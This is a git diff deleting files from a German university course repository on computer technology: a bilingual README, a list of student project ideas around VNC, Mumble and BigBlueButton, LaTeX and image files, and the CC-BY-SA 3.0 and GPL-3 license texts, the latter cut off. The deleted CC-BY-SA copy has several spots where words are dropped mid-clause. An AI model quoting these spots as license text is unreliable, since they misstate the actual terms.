\put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{% \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}} \end{picture}% - 6.\ April 2021} + 15.\ März 2022} \maketitleframe diff --git a/README.md b/README.md deleted file mode 100644 index 830347b9f4de4a9f5482bc211acab50ce7c75205..0000000000000000000000000000000000000000 --- a/README.md +++ /dev/null @@ -1,54 +0,0 @@ -Rechnertechnik -============== - -Lehrveranstaltung im Sommersemester 2021 -Hochschule Bochum, Campus Velbert/Heiligenhaus -Prof. Dr. rer. nat. Peter Gerwinski - -Copyright © 2012–2021 Peter Gerwinski - -**Diese Lehrmaterialien sind freie Software.** -Sie dürfen diese gemäß den jeweils angegebenen Lizenzen -([CC-BY-SA 3.0](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/CC-BY-SA-3.0), -[GNU GPL 3+](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/GNU-GPL-3), -[modified BSD License](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/BSD-MODIFIED)) -studieren, kopieren, modifizieren und/oder weitergeben. -Für Details siehe [common/README](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/README). - -Vortragsfolien und Beispiele: ------------------------------ - * [06.04.2021: Einführung](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/20210406/rtech-20210406.pdf) [**(Beispiele)**](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/20210406/) - * [alle in 1 Datei](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/rtech-slides-2021ss.pdf) - -Skript: -------- - * [Rechnertechnik](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/script/rtech-2021ss.pdf) - -Original-Materialien einschließlich Beispiel-Programme und LaTeX-Quelltexte: ----------------------------------------------------------------------------- - * [common – gemeinsame Dateien für Skript und Vortragsfolien](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/common) - * [script – Skript zur Lehrveranstaltung](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/script) - * [2021???? – Vortragsfolien und Beispiele](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss) - - -Computer Technology -=================== - -Course in summer semester 2021 -Bochum University of Applied Sciences, Campus Velbert/Heiligenhaus -Prof. Dr. rer. nat. Peter Gerwinski - -Copyright © 2012–2021 Peter Gerwinski - -**These teaching materials are Free Software.** -You may study, copy, modify, and/or distribute them -according to their respective licences -([CC-BY-SA 3.0](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/CC-BY-SA-3.0), -[GNU GPL 3+](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/GNU-GPL-3), -[modified BSD License](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/BSD-MODIFIED)). -See the file [common/README](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/common/README) for details. - - * [common – common files for lecture notes and slides](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/common) - * [script – lecture notes](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/script) - * [2021???? – slides and examples](https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss) - * [rtech-slides-2021ss.pdf – all slides in 1 file](https://gitlab.cvh-server.de/pgerwinski/rtech/raw/2021ss/rtech-slides-2021ss.pdf) diff --git a/projekte.txt b/projekte.txt deleted file mode 100644 index 4c81dbb1b30f20bc66c3725211cffaee33b7aacc..0000000000000000000000000000000000000000 --- a/projekte.txt +++ /dev/null @@ -1,95 +0,0 @@ -Projektideen: - - Bild- und Tonprobleme mit Mumble, VNC und Janus - - - Mumble-Web-Interface: 100% CPU-Auslastung - o websockify: TCP/IP über den Web-Browser (über WebSockets) - --> Python-Implementation durch C ersetzen - - Parallelisierung: auf mehrere Rechner verteilen - - - VNC: 100% CPU-Auslastung - o websockify: TCP/IP über den Web-Browser (über WebSockets) - --> Python-Implementation durch C ersetzen - - Parallelisierung: auf mehrere Rechner verteilen - - - VNC: effizienter komprimieren - - existierenden Scroll-Erkennungs-Algorithmus - in existierende VNC-Server-Software einbauen - - - Janus: 100% CPU-Auslastung - - Was ist da überhuapt los? - - Wieso nutzt Janus nur 1 CPU? Kann man das ändern? - - Kann man Janus auf mehrere Rechner verteilen? - - - Streaming-Software, z.B. IceCast oder OwnCast - - Das was der Web-Browser sieht (und hört) per Stream vervielfältigen - - Weitere Projektideen - - - Bildschirmübertragung per WebRTC (Janus) - - - Es gibt einen Bot, der den Mumble-Chat mit Internet Relay Chat (IRC) verbindet. - Dieser ist aber instabil. --> reparieren - - - Es gibt einen Streaming-Server OwnCast, der Bild und Ton übertragen kann - und außerdem eine Chat-Funktion hat. --> mit Mumble-Chat zusammenbringen - -Rechnertechnik-Projekte: - - o Entfernungsmessung per Schallgeschwindigkeit - o Mechanischer Rechner mit Murmeln - o DMX-Protokoll in Arduino implementieren - o Taschenrechner mit 5-Bit-Dualzahlen - Grundrechenarten - Ausgabe per 7-Segment-Anzeige - o Arduino als VU-Meter - o Soft-serielle Schnittstelle per TCP/IP übertragen - o Core War - o Minecraft-Taschenrechner - o Türschloß mit Zahlenkombination auf Arduino - -Allgemeine Projektideen: - - Smiley = bereits abgeschlossen oder fast abgeschlossen - o = in Bearbeitung - * = jemand möchte es bearbeiten - - = noch komplett "frei" - -;) GitLab: Datum und Uhrzeit anzeigen -:) cvh-bot -:) Docker für VNC -:) CVH-Camera -:o dynamische Kamera-Positionierung für PULT - o Mumsi die Anzeige der Telefonnummer abgewöhnen - o Telefon-Wahl aus Mumble heraus - o Mumble-Chat mit BBB-Chat verbinden --> mkorostovskiy - - cvh-bot mit BBB-Umfragen verbinden - * noVNC in BBB einbauen - * yesVNC in BBB einbauen - - Listening VNC Viewer in BBB einbauen - * CVH-Camera in BBB einbauen - - Repeater für Mumble - - Repeater für CVH-Camera (Janus, PULT) - * yesVNC nach WebAssembly übersetzen - - yesVNC auch im Hintergrund laufen lassen - - Scroll-Algorithmus für x11vnc oder TightVNC - - Kombinierter Desktop-Client für VNC und Mumble - * Mumble-Desktop-Client: Konfiguration vereinfachen - - Mumble/VNC/CVH-Camera für weitere Plattformen nutzbar machen, z.B. iOS - - Mumble-Client: Forward-Error-Correction aktivierbar machen - - PULT auf übersichtlichere und effizientere Weise neu programmieren - * Docker für PULT - * Eigenen Datenbestand verwalten - * Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in PULT - Server: z.B. TightVNC; Client: z.B. noVNC - - Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in BBB - - Work Advanture für die Hochschule installieren - Bsp-Instanz aus Bochum (von dem dortigen Hackspace): https://virtuallab.das-labor.org/ - Doku dazu: https://howto.rc3.world/workadventure.en.html - * 3d-Scan aus einem Film heraus -;) BBB: Standard-Umfrage: Ja/Nein/Enthaltung - o NumPad für Hexadezimalzahlen - - taktile Tastaturen oder andere Eingabegeräte für mobile Computer (Smartphones) - - Automatische Transkription in BBB und/oder PULT - (zum Vergleich https://github.com/jitsi/jigasi/pull/294) - - GNU Pascal (Compiler) - - adele (Verschlüsselungsroboter) diff --git a/rtech-slides-2021ss.pdf b/rtech-slides-2021ss.pdf deleted file mode 100644 index f5b9fcc6c4bd11fc580b036f5ed3d180f9e800ff..0000000000000000000000000000000000000000 Binary files a/rtech-slides-2021ss.pdf and /dev/null differ diff --git a/rtech-slides-2021ss.tex b/rtech-slides-2021ss.tex deleted file mode 100644 index 9f607c6f65d5dc0bcdbbda286e5cfd140700898e..0000000000000000000000000000000000000000 --- a/rtech-slides-2021ss.tex +++ /dev/null @@ -1,15 +0,0 @@ -\documentclass{article} - -\usepackage[final]{pdfpages} -\usepackage[paperwidth=363pt,paperheight=272pt]{geometry} -\usepackage{hyperref} - -\pagestyle{empty} - -\begin{document} - \includepdf[pages=1]{script/rtech-slides-title-2021ss.pdf} - \pdfbookmark[1]{Wichtiger Hinweis}{Hinweis} - \includepdf[pages=2-]{script/rtech-slides-title-2021ss.pdf} - \pdfbookmark[1]{06.04.2021: Einführung}{20210406} - \includepdf[pages=-]{20210406/rtech-20210406.pdf} -\end{document} diff --git a/script/1890s_adding_machine.jpg b/script/1890s_adding_machine.jpg deleted file mode 100644 index 6ca2e20f0fa3d6923abfd7278ce6cdf67c188758..0000000000000000000000000000000000000000 Binary files a/script/1890s_adding_machine.jpg and /dev/null differ diff --git a/script/80486dx2-large.jpg b/script/80486dx2-large.jpg deleted file mode 100644 index ba4b32ee9489e862a8bf7b273002351f671f2878..0000000000000000000000000000000000000000 Binary files a/script/80486dx2-large.jpg and /dev/null differ diff --git a/script/Buegeln.pdf b/script/Buegeln.pdf deleted file mode 100644 index 9967c07625452e4fe73936314e3cb44485cdf6c8..0000000000000000000000000000000000000000 --- a/script/Buegeln.pdf +++ /dev/null @@ -1,68 +0,0 @@ -%PDF-1.4 -%���� -3 0 obj -<< /Length 4 0 R - /Filter /FlateDecode ->> -stream -x�]�= -�@��~N�]����?�B�"Z��D$)���7�b�0��0�u�G����-J|D�-��� t�CN���wW�'1LR��{�K,�`�.E���?0��*~��[j(-ո��JF\�K/_��(� -endstream -endobj -4 0 obj - 127 -endobj -2 0 obj -<< - /ExtGState << - /a0 << /CA 1 /ca 1 >> - >> ->> -endobj -5 0 obj -<< /Type /Page - /Parent 1 0 R - /MediaBox [ 0 0 300 300 ] - /Contents 3 0 R - /Group << - /Type /Group - /S /Transparency - /CS /DeviceRGB - >> - /Resources 2 0 R ->> -endobj -1 0 obj -<< /Type /Pages - /Kids [ 5 0 R ] - /Count 1 ->> -endobj -6 0 obj -<< /Creator (cairo 1.8.10 (http://cairographics.org)) - /Producer (cairo 1.8.10 (http://cairographics.org)) ->> -endobj -7 0 obj -<< /Type /Catalog - /Pages 1 0 R ->> -endobj -xref -0 8 -0000000000 65535 f -0000000512 00000 n -0000000240 00000 n -0000000015 00000 n -0000000218 00000 n -0000000312 00000 n -0000000577 00000 n -0000000704 00000 n -trailer -<< /Size 8 - /Root 7 0 R - /Info 6 0 R ->> -startxref -756 -%%EOF diff --git a/script/Buegeln.svg b/script/Buegeln.svg deleted file mode 100644 index 7efa08ff608dd187fc30a734eabd55252eddae50..0000000000000000000000000000000000000000 --- a/script/Buegeln.svg +++ /dev/null @@ -1,30 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - version="1.0" - x="0.0000000" - y="0.0000000" - width="375.00000" - height="375.00000" - id="svg559"> - <defs - id="defs561"> - <linearGradient - id="linearGradient1651"> - <stop - style="stop-color:#000000;stop-opacity:1.0000000" - offset="0.0000000" - id="stop1652" /> - <stop - style="stop-color:#ffffff;stop-opacity:1.0000000" - offset="1.0000000" - id="stop1653" /> - </linearGradient> - </defs> - <path - d="M 112.66666,98.261892 L 300.81657,98.261892 L 338.31657,281.21250 L 38.316589,281.21250 C 38.316589,281.21250 94.566585,187.46250 150.81657,187.46250 C 207.06657,187.46250 317.06657,187.46250 317.06657,187.46250" - style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:12.500000;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000" - id="path1842" /> -</svg> diff --git a/script/CC-BY-SA-3.0 b/script/CC-BY-SA-3.0 deleted file mode 100644 index 43633f5d8ca3ee4c454bc0d64fded403267f6e6f..0000000000000000000000000000000000000000 --- a/script/CC-BY-SA-3.0 +++ /dev/null @@ -1,418 +0,0 @@ -Creative Commons Attribution-ShareAlike 3.0 Unported - - CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT - PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT - CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS - PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS - MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND - DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. - -License - -THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS -CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS -PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE -WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS -PROHIBITED. - -BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND -AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS -LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU -THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF -SUCH TERMS AND CONDITIONS. - -1. Definitions - - a. "Adaptation" means a work based upon the Work, or upon the - Work and other pre-existing works, such as a translation, - adaptation, derivative work, arrangement of music or other - alterations of a literary or artistic work, or phonogram or - performance and includes cinematographic adaptations or any - other form in which the Work may be recast, transformed, or - adapted including in any form recognizably derived from the - original, except that a work that constitutes a Collection - will not be considered an Adaptation for the purpose of this - License. For the avoidance of doubt, where the Work is a - musical work, performance or phonogram, the synchronization of - the Work in timed-relation with a moving image ("synching") - will be considered an Adaptation for the purpose of this - License. - - b. "Collection" means a collection of literary or artistic works, - such as encyclopedias and anthologies, or performances, - phonograms or broadcasts, or other works or subject matter - other than works listed in Section 1(f) below, which, by - reason of the selection and arrangement of their contents, - constitute intellectual creations, in which the Work is - included in its entirety in unmodified form along with one or - more other contributions, each constituting separate and - independent works in themselves, which together are assembled - into a collective whole. A work that constitutes a Collection - will not be considered an Adaptation (as defined below) for - the purposes of this License. - - c. "Creative Commons Compatible License" means a license that is - listed at http://creativecommons.org/compatiblelicenses that - has been approved by Creative Commons as being essentially - equivalent to this License, including, at a minimum, because - that license: (i) contains terms that have the same purpose, - meaning and effect as the License Elements of this License; - and, (ii) explicitly permits the relicensing of adaptations of - works made available under that license under this License or - a Creative Commons jurisdiction license with the same License - Elements as this License. - - d. "Distribute" means to make available to the public the - original and copies of the Work or Adaptation, as appropriate, - through sale or other transfer of ownership. - - e. "License Elements" means the following high-level license - attributes as selected by Licensor and indicated in the title - of this License: Attribution, ShareAlike. - - f. "Licensor" means the individual, individuals, entity or - entities that offer(s) the Work under the terms of this - License. - - g. "Original Author" means, in the case of a literary or artistic - work, the individual, individuals, entity or entities who - created the Work or if no individual or entity can be - identified, the publisher; and in addition (i) in the case of - a performance the actors, singers, musicians, dancers, and - other persons who act, sing, deliver, declaim, play in, - interpret or otherwise perform literary or artistic works or - expressions of folklore; (ii) in the case of a phonogram the - producer being the person or legal entity who first fixes the - sounds of a performance or other sounds; and, (iii) in the - case of broadcasts, the organization that transmits the - broadcast. - - h. "Work" means the literary and/or artistic work offered under - the terms of this License including without limitation any - production in the literary, scientific and artistic domain, - whatever may be the mode or form of its expression including - digital form, such as a book, pamphlet and other writing; a - lecture, address, sermon or other work of the same nature; a - dramatic or dramatico-musical work; a choreographic work or - entertainment in dumb show; a musical composition with or - without words; a cinematographic work to which are assimilated - works expressed by a process analogous to cinematography; a - work of drawing, painting, architecture, sculpture, engraving - or lithography; a photographic work to which are assimilated - works expressed by a process analogous to photography; a work - of applied art; an illustration, map, plan, sketch or - three-dimensional work relative to geography, topography, - architecture or science; a performance; a broadcast; a - phonogram; a compilation of data to the extent it is protected - as a copyrightable work; or a work performed by a variety or - circus performer to the extent it is not otherwise considered - a literary or artistic work. - - i. "You" means an individual or entity exercising rights under - this License who has not previously violated the terms of this - License with respect to the Work, or who has received express - permission from the Licensor to exercise rights under this - License despite a previous violation. - - j. "Publicly Perform" means to perform public recitations of the - Work and to communicate to the public those public - recitations, by any means or process, including by wire or - wireless means or public digital performances; to make - available to the public Works in such a way that members of - the public may access these Works from a place and at a place - individually chosen by them; to perform the Work to the public - by any means or process and the communication to the public of - the performances of the Work, including by public digital - performance; to broadcast and rebroadcast the Work by any - means including signs, sounds or images. - - k. "Reproduce" means to make copies of the Work by any means - including without limitation by sound or visual recordings and - the right of fixation and reproducing fixations of the Work, - including storage of a protected performance or phonogram in - digital form or other electronic medium. - -2. Fair Dealing Rights. Nothing in this License is intended to - reduce, limit, or restrict any uses free from copyright or rights - arising from limitations or exceptions that are provided for in - connection with the copyright protection under copyright law or - other applicable laws. - -3. License Grant. Subject to the terms and conditions of this - License, Licensor hereby grants You a worldwide, royalty-free, - non-exclusive, perpetual (for the duration of the applicable - copyright) license to exercise the rights in the Work as stated - below: - - a. to Reproduce the Work, to incorporate the Work into one or - more Collections, and to Reproduce the Work as incorporated in - the Collections; - - b. to create and Reproduce Adaptations provided that any such - Adaptation, including any translation in any medium, takes - reasonable steps to clearly label, demarcate or otherwise - identify that changes were made to the original Work. For - example, a translation could be marked "The original work was - translated from English to Spanish," or a modification could - indicate "The original work has been modified."; - - c. to Distribute and Publicly Perform the Work including as - incorporated in Collections; and, - - d. to Distribute and Publicly Perform Adaptations. - - e. For the avoidance of doubt: - - i. Non-waivable Compulsory License Schemes. In those - jurisdictions in which the right to collect royalties - through any statutory or compulsory licensing scheme - cannot be waived, the Licensor reserves the exclusive - right to collect such royalties for any exercise by You - of the rights granted under this License; - - ii. Waivable Compulsory License Schemes. In those - jurisdictions in which the right to collect royalties - through any statutory or compulsory licensing scheme can - be waived, the Licensor waives the exclusive right to - collect such royalties for any exercise by You of the - rights granted under this License; and, - - iii. Voluntary License Schemes. The Licensor waives the right - to collect royalties, whether individually or, in the - event that the Licensor is a member of a collecting - society that administers voluntary licensing schemes, via - that society, from any exercise by You of the rights - granted under this License. - -The above rights may be exercised in all media and formats whether -now known or hereafter devised. The above rights include the right -to make such modifications as are technically necessary to exercise -the rights in other media and formats. Subject to Section 8(f), all -rights not expressly granted by Licensor are hereby reserved. - -4. Restrictions. The license granted in Section 3 above is expressly - made subject to and limited by the following restrictions: - - a. You may Distribute or Publicly Perform the Work only under the - terms of this License. You must include a copy of, or the - Uniform Resource Identifier (URI) for, this License with every - copy of the Work You Distribute or Publicly Perform. You may - not offer or impose any terms on the Work that restrict the - terms of this License or the ability of the recipient of the - Work to exercise the rights granted to that recipient under - the terms of the License. You may not sublicense the Work. You - must keep intact all notices that refer to this License and to - the disclaimer of warranties with every copy of the Work You - Distribute or Publicly Perform. When You Distribute or - Publicly Perform the Work, You may not impose any effective - technological measures on the Work that restrict the ability - of a recipient of the Work from You to exercise the rights - granted to that recipient under the terms of the License. This - Section 4(a) applies to the Work as incorporated in a - Collection, but this does not require the Collection apart - from the Work itself to be made subject to the terms of this - License. If You create a Collection, upon notice from any - Licensor You must, to the extent practicable, remove from the - Collection any credit as required by Section 4(c), as - requested. If You create an Adaptation, upon notice from any - Licensor You must, to the extent practicable, remove from the - Adaptation any credit as required by Section 4(c), as - requested. - - b. You may Distribute or Publicly Perform an Adaptation only - under the terms of: (i) this License; (ii) a later version of - this License with the same License Elements as this License; - (iii) a Creative Commons jurisdiction license (either this or - a later license version) that contains the same License - Elements as this License (e.g., Attribution-ShareAlike 3.0 - US)); (iv) a Creative Commons Compatible License. If you - license the Adaptation under one of the licenses mentioned in - (iv), you must comply with the terms of that license. If you - license the Adaptation under the terms of any of the licenses - mentioned in (i), (ii) or (iii) (the "Applicable License"), - you must comply with the terms of the Applicable License - generally and the following provisions: (I) You must include a - copy of, or the URI for, the Applicable License with every - copy of each Adaptation You Distribute or Publicly Perform; - (II) You may not offer or impose any terms on the Adaptation - that restrict the terms of the Applicable License or the - ability of the recipient of the Adaptation to exercise the - rights granted to that recipient under the terms of the - Applicable License; (III) You must keep intact all notices - that refer to the Applicable License and to the disclaimer of - warranties with every copy of the Work as included in the - Adaptation You Distribute or Publicly Perform; (IV) when You - Distribute or Publicly Perform the Adaptation, You may not - impose any effective technological measures on the Adaptation - tnted to that recipient under the terms of the Applicable - License. This Section 4(b) applies to the Adaptation as - incorporated in a Collection, but this does not require the - Collection apart from the Adaptation itself to be made subject - to the terms of the Applicable License. - - c. If You Distribute, or Publicly Perform the Work or any - Adaptations or Collections, You must, unless a request has - been made pursuant to Section 4(a), keep intact all copyright - notices for the Work and provide, reasonable to the medium or - means You are utilizing: (i) the name of the Original Author - (or pseudonym, if applicable) if supplied, and/or if the - Original Author and/or Licensor designate another party or - parties (e.g., a sponsor institute, publishing entity, - journal) for attribution ("Attribution Parties") in Licensor's - copyright notice, terms of service or by other reasonable - means, the name of such party or parties; (ii) the title of - the Work if supplied; (iii) to the extent reasonably - practicable, the URI, if any, that Licensor specifies to be - associated with the Work, unless such URI does not refer to - the copyright notice or licensing information for the Work; - and (iv) , consistent with Ssection 3(b), in the case of an - Adaptation, a credit identifying the use of the Work in the - Adaptation (e.g., "French translation of the Work by Original - Author," or "Screenplay based on original Work by Original - Author"). The credit required by this Section 4(c) may be - implemented in any reasonable manner; provided, however, that - in the case of a Adaptation or Collection, at a minimum such - credit will appear, if a credit for all contributing authors - of the Adaptation or Collection appears, then as part of these - credits and in a manner at least as prominent as the credits - for the other contributing authors. For the avoidance of - doubt, You may only use the credit required by this Section - for the purpose of attribution in the manner set out above - and, by exercising Your rights under this License, You may not - implicitly or explicitly assert or imply any connection with, - sponsorship or endorsement by the Original Author, Licensor - and/or Attribution Parties, as appropriate, of You or Your use - of the Work, without the separate, express prior written - permission of the Original Author, Licensor and/or Attribution - Parties. - - d. Except as otherwise agreed in writing by the Licensor or as - may be otherwise permitted by applicable law, if You - Reproduce, Distribute or Publicly Perform the Work either by - itself or as part of any Adaptations or Collections, You must - not distort, mutilate, modify or take other derogatory action - in relation to the Work which would be prejudicial to the - Original Author's honor or reputation. Licensor agrees that in - those jurisdictions (e.g. Japan), in which any exercise of the - right granted in Section 3(b) of this License (the right to - make Adaptations) would be deemed to be a distortion, - mutilation, modification or other derogatory action - prejudicial to the Original Author's honor and reputation, the - Licensor will waive or not assert, as appropriate, this - Section, to the fullest extent permitted by the applicable - national law, to enable You to reasonably exercise Your right - under Section 3(b) of this License (right to make Adaptations) - but not otherwise. - -5. Representations, Warranties and Disclaimer - -UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, -LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR -WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, -STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF -TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, -NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, -ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT -DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF -IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. - -6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY - APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY - LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, S - LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED - OF THE POSSIBILITY OF SUCH DAMAGES. - -7. Termination - - a. This License and the rights granted hereunder will terminate - automatically upon any breach by You of the terms of this - License. Individuals or entities who have received Adaptations - or Collections from You under this License, however, will not - have their licenses terminated provided such individuals or - entities remain in full compliance with those licenses. - Sections 1, 2, 5, 6, 7, and 8 will survive any termination of - this License. - - b. Subject to the above terms and conditions, the license granted - here is perpetual (for the duration of the applicable - copyright in the Work). Notwithstanding the above, Licensor - reserves the right to release the Work under different license - terms or to stop distributing the Work at any time; provided, - however that any such election will not serve to withdraw this - License (or any other license that has been, or is required to - be, granted under the terms of this License), and this License - will continue in full force and effect unless terminated as - stated above. - -8. Miscellaneous - - a. Each time You Distribute or Publicly Perform the Work or a - Collection, the Licensor offers to the recipient a license to - the Work on the same terms and conditions as the license - granted to You under this License. - - b. Each time You Distribute or Publicly Perform an Adaptation, - Licensor offers to the recipient a license to the original - Work on the same terms and conditions as the license granted - to You under this License. - - c. If any provision of this License is invalid or unenforceable - under applicable law, it shall not affect the validity or - enforceability of the remainder of the terms of this License, - and without further action by the parties to this agreement, - such provision shall be reformed to the minimum extent - necessary to make such provision valid and enforceable. - - d. No term or provision of this License shall be deemed waived - and no breach consented to unless such waiver or consent shall - be in writing and signed by the party to be charged with such - waiver or consent. - - e. This License constitutes the entire agreement between the - parties with respect to the Work licensed here. There are no - understandings, agreements or representations with respect to - the Work not specified here. Licensor shall not be bound by - any additional provisions that may appear in any communication - from You. This License may not be modified without the mutual - written agreement of the Licensor and You. - - f. The rights granted under, and the subject matter referenced, - in this License were drafted utilizing the terminology of the - Berne Convention for the Protection of Literary and Artistic - Works (as amended on September 28, 1979), the Rome Convention - of 1961, the WIPO Copyright Treaty of 1996, the WIPO - Performances and Phonograms Treaty of 1996 and the Universal - Copyright Convention (as revised on July 24, 1971). These - rights and subject matter take effect in the relevant - jurisdiction in which the License terms are sought to be - enforced according to the corresponding provisions of the - implementation of those treaty provisions in the applicable - national law. If the standard suite of rights granted under - applicable copyright law includes additional rights not - granted under this License, such additional rights are deemed - to be included in the License; this License is not intended to - restrict the license of any rights under applicable law. - -Creative Commons Notice - - Creative Commons is not a party to this License, and makes no - warranty whatsoever in connection with the Work. Creative - Commons will not be liable to You or any party on any legal - theory for any damages whatsoever, including without limitation - any general, special, incidental or consequential damages - arising in connection to this license. Notwithstanding the - foregoing two (2) sentences, if Creative Commons has expressly - identified itself as the Licensor hereunder, it shall have all - rights and obligations of Licensor. - - Except for theicensed under the CCPL, Creative Commons does not - authorize the use by either party of the trademark "Creative - Commons" or any related trademark or logo of Creative Commons - without the prior written consent of Creative Commons. Any - permitted use will be in compliance with Creative Commons' - then-current trademark usage guidelines, as may be published on - its website or otherwise made available upon request from time - to time. For the avoidance of doubt, this trademark restriction - does not form part of the License. - - Creative Commons may be contacted at http://creativecommons.org/. diff --git a/script/Drawing-a-circle-with-the-compasses.jpg b/script/Drawing-a-circle-with-the-compasses.jpg deleted file mode 100644 index 015546a9502e6ce76334a2c80bfe0c2ef979489f..0000000000000000000000000000000000000000 Binary files a/script/Drawing-a-circle-with-the-compasses.jpg and /dev/null differ diff --git a/script/Elektronenroehre_real.png b/script/Elektronenroehre_real.png deleted file mode 100644 index 9752168cb151d698c90b4920b060dd3595196f49..0000000000000000000000000000000000000000 Binary files a/script/Elektronenroehre_real.png and /dev/null differ diff --git a/script/Elektronenroehren-auswahl.jpg b/script/Elektronenroehren-auswahl.jpg deleted file mode 100644 index 7c42b321f29ea81b11eb51a191dc9cc2ef7cfd7c..0000000000000000000000000000000000000000 Binary files a/script/Elektronenroehren-auswahl.jpg and /dev/null differ diff --git a/script/Eniac.jpg b/script/Eniac.jpg deleted file mode 100644 index 75c5f42d190017636ff0bba2b49c994779d2c91a..0000000000000000000000000000000000000000 Binary files a/script/Eniac.jpg and /dev/null differ diff --git a/script/GNU-GPL-3 b/script/GNU-GPL-3 deleted file mode 100644 index 94a9ed024d3859793618152ea559a168bbcbb5e2..0000000000000000000000000000000000000000 --- a/script/GNU-GPL-3 +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND 